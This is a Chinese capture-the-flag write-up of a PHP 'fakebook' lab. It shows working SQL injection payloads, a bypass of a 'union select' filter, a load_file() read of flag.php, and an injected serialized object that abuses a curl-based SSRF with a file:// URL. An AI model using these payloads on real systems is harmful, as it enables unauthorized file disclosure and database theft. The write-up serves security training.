第一次写wp,没什么经验,借鉴着前辈们的方式来进行讲解。
首先拿到题目
发现只有一个注册和登录的按钮,在正式攻击这个靶场前,先进行信息收集,利用扫描工具来扫描这个网站的后台网页,看有没有漏掉的信息,这里我用的是御剑扫描,对于一些不想下命令工具的朋友来说,御剑算是一个不错的选择。
1.信息收集
扫描出来我们发现是有flag.php和robots.txt的这两个目录不用我多说都应该注意的,尝试点击flag.php发现页面里面没有内容,这时我认为只存在一种情况就是没有权限去读flag.php的源码。
初步的信息收集已经完成我们进入靶场,先访问robots.txt 看看有什么能用的信息
发现不允许我们访问user.php.bak 这里值得注意的是bak后缀的文件一般为备份文件,在项目上架时就会删除,防止源码泄露,既然他不让我们访问我们反其道而行之,我们访问这个路径
发现是一个下载链接,下载后用phpstrom打开
<?php class UserInfo { public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; } function get($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 404) { return 404; } curl_close($ch); return $output; } public function getBlogContents () { return $this->get($this->blog); } public function isValidBlog () { $blog = $this->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); } }
观察代码发现存在一个类,里面包括三个参数name age blog 跟注册页面的参数一致,再看自定义函数get()发现只要不是状态码404就可以返回变量$output 而变量$output是将url进行命令执行,再看getBlogContents函数 返回通过get获取的Blog的参数 可以推测出利用blog来进行getshell,这些代码的功能是不是很眼熟,对的ssrf就是这样的代码。最后有一个针对blog的过滤,看不出来可以丢给chatgpt跑一下.
进行了初步的代码审计,现在到靶场进行注册,通过观察绕过规则,只要blog符合url的格式就可以绕过。
进入用户界面
除了蓝色admin可以点击外,其他没有什么用处,查看源码发现也没有可用的东西,那就点击admin
页面没有有用的东西,只有一个点?no=1 有注入点,待会可以检测一下。
再查看源码
发现有一个<iframe> 里面的src是data协议,这里想到利用data协议来读取flag.php的内容,但不知道flag.php的文件路径和怎么插入到这个data里面去,就暂且搁置了。再回到页面一开始的点?on=1。
判断是否有注入
?on=1 and 1=1#
?on=1 and 1=2#
发现有报错,说明存在注入,而且是一个数字型的注入。
这时再判断列数,因为我们注册时就存在4个参数,所以可以从4开始判断
?no=1 order by 4#
?no=1 order by 5#
发现存在4列,当第五列时出现报错。
再按照流程去判断它的回显地方,利用联合查询union select ,同时将on的值改写为2,这是为了让前面on的查询为空或者错误,只让语句返回我们想查询的select 1,2,3,4。
?no=2 union select 1,2,3,4#
发现返回了no hack~-~ 说明被过滤了,现在去查找到底哪里被过滤了。首先尝试了复写和大小写绕过,发现还是不行。
最后发现是检测"union select"这个字符串,且不区分大小写,那么就可以使用/**/,或者++绕过空格,来达到注入的效果
?no=2 union++select 1,2,3,4#
?no=2 union/**/select 1,2,3,4#
发现是2的回显,那么就好办了,开始一个sql的常规注入
先查看数据库名字和用户名
?no=2 union++select 1,databaes(),3,4#
?no=2 union++select 1,user(),3,4#
发现这个用户的权限是一个超级用户,权限很高,这是就可以使用一个非常规的方法,比较简单,就是利用mysql里的load_file()函数,该函数的作用是访问系统文件,并且将其用字符串的方式返回,不过其条件比较苛刻,需要文件的绝对路径和高级权限,但是,我们刚好满足这些条件,所以构造payload
?no=2 union++select 1,load_file("/var/www/html/flag.php"),3,4#
至于其中的路径,有小伙伴说题目也没告诉我们你怎么知道的,其实不然,在我们注入时,报错就会返回我们的路径,像下面一样 /var/www/html/
发现没有回显,再查看源码
好好好,flag就忍不住想出来见你了。
那如果不使用这个方式呢,毕竟不是什么题目都可以拿到这么高的权限的,那就将sql注入走完。
爆表
?no=2 union++select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'#
爆列
?no=2 union++select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' and table_schema='fakebook'#
发现有4个字段,no,username,passwd,data,其中的data字段很可疑,我们直接爆data
爆字段
?no=2 union++select 1,group_concat(data),3,4 from users where no=1#
发现对象Userlnfo的实例化对象,name,age,和blog(之前bak文件中的对象)
注意看页面,提示一个unserialize()函数的错误,之前知道我们blog存在一个ssrf,刚好回显这里存在了blog的参数,那我们是不是可以利用这个参数去访问flag.php,想读取源码的话就是"file:///var/www/html/flag.php"那么我们如何把这个参数注入到blog的ssrf中呢。看回我们的界面,4个字段,2字段是username,那么我们可以猜测4个字段分别就是# username age blog
那么我们就在bolg处进行打入,将序列化后的结果修改为file:///var/www/html/flag.php,同时包上引号,将其作为字符串打入,根据前面的unserialize()错误提示,反序列化到后台中,实现ssrf
?no=2 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
运行查询,发现代码显示在了blog中
查看源代码
点击src的蓝色base64编码,发现flag 这就是第二种方法,有点繁琐但是考的比较综合的一题
这是萌新第一次写wp,有很多疏漏的点,大佬轻点喷~~~
以下是其他大佬写的文章,有不懂的点可以去这里面解惑